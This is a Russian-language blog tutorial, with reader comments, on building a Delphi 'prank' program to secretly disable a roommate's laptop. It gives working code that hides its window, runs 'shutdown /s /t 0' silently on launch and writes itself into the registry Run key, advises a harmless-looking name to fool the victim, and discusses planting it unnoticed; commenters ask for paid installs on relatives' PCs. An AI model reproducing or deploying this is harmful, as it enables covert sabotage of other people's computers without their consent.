Шутка «Неисправный» компьютер на Delphi/Lazarus


Мне часто приходится менять место жительства. Это и многочисленные переезды, и командировки и т.д. А это автоматически влечет за собой знакомства с множеством людей, с которых, порой, лучше и не знать.

Естественно, что все эти люди используют личные компьютеры. Например, один такой «сосед» по комнате вбил себе в голову, что не заснет, если не посмотрит на ночь фильм, а то и два. Наушники он не признает и остальным жильцам приходится мириться с его «маленькой» прихотью.  Меня это в корне не устраивало, так как я страдаю бессонницей и если не засну строго по отведенному для себя распорядку дня, то всю ночь буду вынужден бодрствовать.

Помучавшись один вечер с этим соседом, который упорно не обращал внимания как на просьбы, так и на угрозы  разбить этот ноутбук об его голову, на следующий день пришлось придумать способ «сломать» ему компьютер.

Программно сымитировать поломки компьютера несложно. Уж в этом деле я поднаторел еще учась в ростовском ДГТУ, когда «саботировал» защиту той или иной работы, связанной с информационными технологиями J.  Когда я задумал написать данную статью, то невольно начал отфильтровывать всевозможные варианты. Если судить по большинству посетителей моего блога, то здесь преобладают как раз новички, которые  на этапе тестирования устроят больше проблем себе, нежели кому-то еще. Поэтому  придется показать вам самый простой, но в то же время довольно действенный способ вывести чей-нибудь компьютер из строя.

Помните консольную команду shutdown? Она выключает компьютер. Так вот, для нашей маленькой пакости ее хватит с лихвой. Фактически, нам достаточно написать простой батник с текстом «shutdown /s /t 0» и запихнуть его в автозагрузку, чтобы свести с ума надоедливого пользователя. Конечно,  так можно было бы поступить, если это обычный ламер. Но уровень компьютерной грамотности растет день ото дня. В итоге нужно поступать иначе.

Смотрите, здесь мы можем «спалиться»  очень быстро, так как пользователь успеет увидеть окошко с командной строкой и потом стереть непонятный батник из автозагрузки. Чтобы этого не произошло, давайте напишем простую программу, которая будет отправлять эту команду  апишной функцией WinExec с флагом SW_Hide, дабы окошко не появлялось.  Кроме того,  нужно сделать так, чтобы эта программа запускалась автоматически, а это означает, что ее нужно прописать в реестре для автозапуска.

Код программы очень прост, поэтому напишем ее на Делфи. Создайте простой проект VCL Application и дайте ему имя типа SystemClock. Подобное имя усыпит бдительность пользователя. Я бы мог показать вам, как очень просто спрятать от диспетчера задач наш проект, но это вызовет подозрения антивирусов, что нам ни к чему. Тем не менее, форму нам нужно спрятать. Для этой цели просто щелкните правой кнопкой мышки на название вашего проекта и выберите пункт View Source.  Здесь вам нужно будет перед строчкой Application.Run добавить:


Application.ShowMainForm:=false; //спрячем окно формы при запуске программы

Теперь в событии FormCreate просто пропишите код:


WinExec (‘shutdown /s /t 0’ ,sw_hide); // «вырубить компьютер»

Здесь все также просто – мы запускаем утилиту shutdown с ключами. Теперь компьютер будет выключаться сразу, как только будет запущена наша программа.

Но нам же нужно ее запускать постоянно, не так ли? Кроме того, возможно вы захотите «смягчится» над бедным юзверем и ввести некий счетчик выключений (допустим, 30 раз), после чего программа удалит себя из автозагрузки.  Поэтому будем использовать реестр виндовс.

Для этой цели нужно добавить модуль Registry в uses. Теперь в OnCreate формы в раздел Var добавьте переменную  Reg с типом TRegistry.  Дальше уже смотрите по коду, я старался все комментировать.


Var

Reg:TRegistry;

Begin

Reg:=TRegistry.Create;

try

Reg.Rootkey:= HKEY_CURRENT_USER; // для того, чтобы запускаться под зашедшим пользователем.

Reg.OpenKey('software\microsoft\windows\currentversion\run', false);//  ветка автозапуска

Reg.WriteSring('название вашей программы', application.exename);

finally

Reg.CloseKey;

End;

Reg.Free;

End;

Еще раз по коду. Мы установили корновой веткой объекта Reg HKEY_CURRENT_USER только для того, чтобы Windows скушала нашу программу.  Если загрузиться под другой учетной записью, то там компьютер будет нормально работать (если вы не хотите использовать виртуальную машину для тестирования программы, то можете создать тестовый профиль, в котором и запустите этот бинарник. Ни в коем случае не запускайте его в своей рабочей учетной записи!)

Затем мы откыли ветку автозапуска и прописали в загрузку нашу программку. Я упростил код, поэтому при каждой загрузке этот параметр будет вновь записываться. Вы же можете добавить туда условия для выхода с последующим exit. В общем, дело ваше. Ну и чтобы программа не выдала сообщения об ошибке, я закрыл код  в try finally. В общем, все просто.

Теперь главный момент. Нам же нужно, чтобы программа как-то попала на компьютер, не так ли? В принципе, у вас тут два выхода – закинуть его вручную и незаметно запуститься или же прописать в коде самокопирование в какую-нибудь директорию типа Recycled (Temp или еще куда-нибудь).

Делается это при помощи функции CopyFile. Кроме того, нужно получить имя приложения (чтобы не ошибиться).  К сожалению, мой блог сейчас почему-то попал в список неблагонадежных (типа хакерских ресурсов).  Мне это вдвойне обидно, так как ему до подобного еще очень далеко (впрочем, как и мне J). Однако такие ресурсы как Одноклассники считают programbeginner.ru источником заразы, что ограничивает число моих потенциальных читателей.

Это я к тому, что подобный функционал реализуют вирусы. Поэтому чтобы лишний раз не смущать поисковики, я, с вашего позволения, не буду  писать код. Если вы захотите сделать подобный функционал, то там ничего сложного нет. Думаю, что у вас все получится без проблем.

Теперь скомпилируйте проект (только без опции запуска программы после компиляции!) . И все, можно издеваться над надоедливыми пользователями.

В качестве домашнего задания подумайте, что прописать в коде, чтобы компьютер подчинялся именно вам (или «самовосстанавливался»).

Комментарии

7 комментариев на “Шутка «Неисправный» компьютер на Delphi/Lazarus”
  1. Георгий:

    А чё с «соседом»-то стало? =)

  2. admin:

    Винду снес 🙂

  3. Карен:

    Здравствуйте,уважаемый admin очень вам благодарен за эту статью.Такой же история сейчас у меня в комнате,я студент со мной живет один недоумок(извините за выражение),каждый день после 19:00 у нас в комнате как дискотека,как будто находимся начном клубе infiniti,а мне надо заниматься и работать (работаю фрилансером),поверьте под этой шуме не возможно не учиться не работать нормально,из за этого часто сорвал сроки работы. Программирую только на php и javascript,не знаю абсолютно C# C++, Delphi. Просьба вам,как мне сделать чтоб каждый день после 19:00 отключилось звук компьютера моего соседа?Если есть рекомендуемые статьи,пожалуйста скиньте ссылка.Или может у вас есть готовый решение,исходники скиньте мне пожалуйста.Спасибо заранее за помочь

  4. Жанна:

    Здравствуйте! А Вы можете такую «шутку» у меня на компе поставить? Не на моем, конечно)) я свой только для работы использую, ну кино посмотреть еще. Работу оплачу. Просто я не программист и все вышеописанное для меня абра кадабра)).

    • admin:

      А Вам это зачем) Могу, конечно, но для чего?

      • Жанна:

        Да, муж дочери задолбал с виртуальными врагами воевать! Не подумайте, что я зловредная теща, это идея дочери. Объективная оценка ситуации, реально, не вылезает из компа.

        • Жанна:

          У меня дочь с скандалом отвоевывает компьютер, ей по учебе нужно, она в меде учится, там вся жизнь в течение 7 лет, поспал — учиться, поел — учиться, а она отвоевывает этот комп и в итоге за мой идет. Вот идея и созрела))

Добавить комментарий

Внимание! Не будут добавляться комментарии в виде откровенного спама или прямого анкора на свои сайты. Все спамеры будут передаваться в базу Akismet

Подтвердите, что Вы не бот — выберите человечка с поднятой рукой: